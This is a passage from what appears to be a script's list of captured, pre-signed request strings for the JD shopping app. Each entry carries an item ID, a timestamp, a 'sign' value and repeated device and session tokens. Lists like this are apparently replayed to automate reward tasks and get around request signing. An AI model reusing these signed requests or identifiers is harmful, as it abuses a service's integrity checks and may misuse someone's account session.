`area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239304423%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=4e06a172b3fd68a0f61af4eb9bd96f3b&st=1608135556280&sv=121&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239883460%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=20ab69a69fbe79c35b5ef680330957bc&st=1608135571343&sv=110&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22240083804%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=a62f9e3a83f38109038ce6542ca47791&st=1608135585500&sv=112&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22240424814%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=fc5c80a2660f1f02c5c7dec0b1fd3a28&st=1608135599007&sv=122&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22241354811%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=a5d979f12d580c2704cc109542567501&st=1608135613226&sv=111&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239763353%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=65c634dfc07ea15edfb40d55db1e5af4&st=1608135626981&sv=122&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239887467%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=4c2e554b8a38234c0bcd2c96bb84b980&st=1608135644097&sv=121&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239911566%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=bd2ea3163b169eae08a50ba193248ff2&st=1608135666530&sv=102&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239209307%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=7a89d628a4f83130accce92ea928ff31&st=1608135684848&sv=100&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22232756870%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=cb6fe5ac83bd71f14ab1d1603158df43&st=1608135702313&sv=120&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239906757%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=ec6f3b9600854f398e6938b3db66f644&st=1608135716033&sv=111&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22238055250%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=074730c1d3a2f27f3dc90f791d9b5a6d&st=1608135729763&sv=110&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239911025%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=fb2c75fd39c07ced2c72c58d7d17fd61&st=1608135742970&sv=121&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22232075505%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=2df23f8cf9f729caf39cfc37be2e5cbb&st=1608135758073&sv=100&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22230306175%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=9661628a4a9fbea9090851a711ce493e&st=1608135774356&sv=101&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22232072753%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=fd5871c8c2f6cdd7aeec608b9a920a15&st=1608135788189&sv=120&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22230354156%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=53de468b75938e0f97bf3ac565e6541f&st=1608135803533&sv=110&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22230474392%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=969330bffe9c6ad2ea30e5675d58c8a0&st=1608135817731&sv=110&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22241113475%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=154516384d1cd467fe64e11444b2c731&st=1608135832187&sv=112&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22240814080%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=517e373df7f0929524dc36fe6dad630d&st=1608135847506&sv=112&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239281739%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22role%22%3A1%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=9238b4f17dbb8f46f3f61898588c09f2&st=1608135861442&sv=122&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - 